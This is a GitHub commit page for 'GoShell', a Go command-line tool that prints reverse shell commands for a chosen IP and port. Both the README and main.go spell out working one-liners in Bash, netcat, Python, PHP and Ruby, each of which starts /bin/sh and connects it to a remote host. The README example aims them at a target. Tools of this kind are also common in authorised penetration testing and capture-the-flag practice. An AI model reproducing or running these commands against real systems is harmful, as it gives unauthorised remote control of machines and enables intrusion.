Skip to content

Commit

Permalink
first commit
Browse files Browse the repository at this point in the history
  • Loading branch information
eze-kiel committed Aug 9, 2020
0 parents commit ecd8959
Show file tree
Hide file tree
Showing 4 changed files with 160 additions and 0 deletions.
41 changes: 41 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# GoShell
Generate reverse shells in command line.

## Usage
```
USAGE:
goshell [global options] command [command options] [arguments...]
COMMANDS:
bash Generate a Bash reverse shell
nc Generate NetCat reverse shells
php Generate a PHP reverse shell
py Generate a Python reverse shell
ruby Generate a Ruby reverse shell
help, h Shows a list of commands or help for one command
COMMAND OPTIONS:
--ip value (default: "127.0.0.1")
--port value (default: "8080")
--help, -h show help (default: false)
GLOBAL OPTIONS:
--help, -h show help (default: false)
```

## Example
```
> ./goshell bash -ip 1.2.3.4 -port 1337 ~/dev/go/goshell
GoShell - (c)2020 - ezekiel
Note that those shells may not work on your target !
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 1337 >/tmp/f
> ./goshell nc ~/dev/go/goshell
GoShell - (c)2020 - ezekiel
Note that those shells may not work on your target !
#1: nc -e /bin/sh 127.0.0.1 8080
#2: /bin/sh | nc 127.0.0.1 8080
#3: rm -f /tmp/p; mknod /tmp/p p && nc 127.0.0.1 8080 0/tmp/p
```
8 changes: 8 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
module github.com/eze-kiel/goshell

go 1.14

require (
github.com/logrusorgru/aurora v2.0.3+incompatible
github.com/urfave/cli v1.22.4
)
14 changes: 14 additions & 0 deletions go.sum
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d h1:U+s90UTSYgptZMwQh2aRr3LuazLJIa+Pg3Kc1ylSYVY=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
github.com/urfave/cli v1.22.4 h1:u7tSpNPPswAFymm8IehJhy4uJMlUuU/GmqSkvJ1InXA=
github.com/urfave/cli v1.22.4/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
97 changes: 97 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
package main

import (
"fmt"
"log"
"os"
"sort"

. "github.com/logrusorgru/aurora"
"github.com/urfave/cli"
)

func main() {
app := cli.NewApp()
app.Name = "GoShell"
app.Usage = "Generate reverse shells in command line"

myFlags := []cli.Flag{
&cli.StringFlag{
Name: "ip",
Value: "127.0.0.1",
},
&cli.StringFlag{
Name: "port",
Value: "8080",
},
}

app.Commands = []cli.Command{
{
Name: "bash",
Usage: "Generate a Bash reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "py",
Usage: "Generate a Python reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "nc",
Usage: "Generate NetCat reverse shells",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Print(fmt.Sprint(Magenta("#1: ")))
fmt.Printf("nc -e /bin/sh %s %s\n", c.String("ip"), c.String("port"))

fmt.Print(fmt.Sprint(Magenta("#2: ")))
fmt.Printf("/bin/sh | nc %s %s\n", c.String("ip"), c.String("port"))

fmt.Print(fmt.Sprint(Magenta("#3: ")))
fmt.Printf("rm -f /tmp/p; mknod /tmp/p p && nc %s %s 0/tmp/p\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "php",
Usage: "Generate a PHP reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {

fmt.Print(fmt.Sprint(Green("(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)\n")))
fmt.Printf("php -r '$sock=fsockopen(\"%s\",%s);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", c.String("ip"), c.String("port"))

return nil
},
},
{
Name: "ruby",
Usage: "Generate a Ruby reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("ruby -rsocket -e'f=TCPSocket.open(\"%s\",%s).to_i;exec sprintf(\"/bin/sh -i <&%%d >&%%d 2>&%%d\",f,f,f)'", c.String("ip"), c.String("port"))
return nil
},
},
}

// Start message
fmt.Print(fmt.Sprint(Blue("GoShell - (c)2020 - ezekiel\n").Bold()))
fmt.Print(fmt.Sprint(Red("Note that those shells may not work on your target !\n\n").Bold()))

// Sort commands list in help panel by name
sort.Sort(cli.CommandsByName(app.Commands))
err := app.Run(os.Args)
if err != nil {
log.Fatal(err)
}
}

0 comments on commit ecd8959

Please sign in to comment.